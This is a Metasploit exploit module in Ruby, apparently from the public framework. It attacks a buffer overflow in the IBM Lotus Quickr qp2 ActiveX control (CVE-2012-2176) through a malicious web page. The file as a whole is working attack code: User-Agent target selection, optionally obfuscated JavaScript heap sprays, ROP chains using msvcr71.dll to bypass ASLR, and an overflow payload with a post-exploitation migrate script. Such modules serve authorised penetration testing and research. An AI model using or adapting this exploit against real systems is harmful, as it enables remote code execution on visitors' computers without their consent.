modules/exploits/windows/browser/quickr_qp2_bof.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
#include Msf::Exploit::Remote::BrowserAutopwn
#
#autopwn_info({
# :ua_name => HttpClients::IE,
# :ua_minver => "6.0",
# :ua_maxver => "9.0",
# :javascript => true,
# :os_name => OperatingSystems::Match::WINDOWS,
# :rank => Rank,
# :classid => "{05D96F71-87C6-11D3-9BE4-00902742D6E0}",
# :method => "Attachment_Times"
#})
def initialize(info={})
super(update_info(info,
'Name' => "IBM Lotus QuickR qp2 ActiveX Buffer Overflow",
'Description' => %q{
This module exploits a buffer overflow vulnerability on the UploadControl
ActiveX. The vulnerability exists in the handling of the "Attachment_Times"
property, due to the insecure usage of the _swscanf. The affected ActiveX is
provided by the qp2.dll installed with the IBM Lotus Quickr product.
This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,
using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module
msvcr71.dll is used. This one is installed with the qp2 ActiveX.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Gaurav Baruah', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2012-2176' ],
[ 'OSVDB', '82166' ],
[ 'BID', '53678'],
[ 'ZDI', '12-134' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21596191' ]
],
'Payload' =>
{
'Space' => 978,
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
},
'Platform' => 'win',
'Targets' =>
[
# qp2.dll 8.1.0.1800
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4', 'Ret' => 0x0c0c0c0c } ],
[ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Ret' => 0x7C346B52 } ], # pop esp # ret # msvcr71.dll
[ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe', 'Ret' => 0x7C346B52 } ] # pop esp # ret # msvcr71.dll
],
'Privileged' => false,
'DisclosureDate' => '2012-05-23',
'DefaultTarget' => 0))
register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
])
end
def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
ie_name = "IE #{ie}"
case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end
targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
return nil
end
def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
randnop = rand_text_alpha(rand(100) + 1)
# Land the payload at 0x0c0c0c0c
case my_target
when targets[7]
# IE 9 on Windows 7
js = %Q|
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_random_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset_length = #{my_target['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
|
else
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var #{randnop} = "#{js_nops}";
var nops = unescape(#{randnop});
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
|
end
js = heaplib(js, {:noobfu => true})
if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate(memory_sensitive: true)
end
return js
end
def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.
return code if t['Rop'].nil?
# Both ROP chains generated by mona.py - See corelan.be
case t['Rop']
when :jre
print_status("Using JRE ROP")
rop_payload = generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
end
return rop_payload
end
def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
bof = rand_text_alpha(512) # offset to eip"
bof << [my_target.ret].pack("V")
if my_target['Rop']
bof << rand_text_alpha(4)
bof << [0x0c0c0c0c].pack("V") # new stack
end
my_bof = Rex::Text.to_unescape(bof)
html = %Q|
<html>
<head>
<script>
#{js}
</script>
</head>
<body>
<object id="UploadControl" width="100%" height="100%" classid="clsid:05D96F71-87C6-11D3-9BE4-00902742D6E0">
<param name="General_Mode" value="1">
<param name="General_URL" value="http://#{rand_text_alpha(rand(10) + 5)}">
</object>
<script>
var bof = unescape("#{my_bof}");
var my_time = "#{rand_text_numeric(2)}/#{rand_text_numeric(2)}/#{rand_text_numeric(4)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)} ";
my_time += bof;
my_time += " GMT";
UploadControl.Attachment_Times = my_time;
</script>
</body>
</html>
|
return html
end
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")
my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end
html = load_exploit_html(my_target, cli)
html = html.gsub(/^ {4}/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
end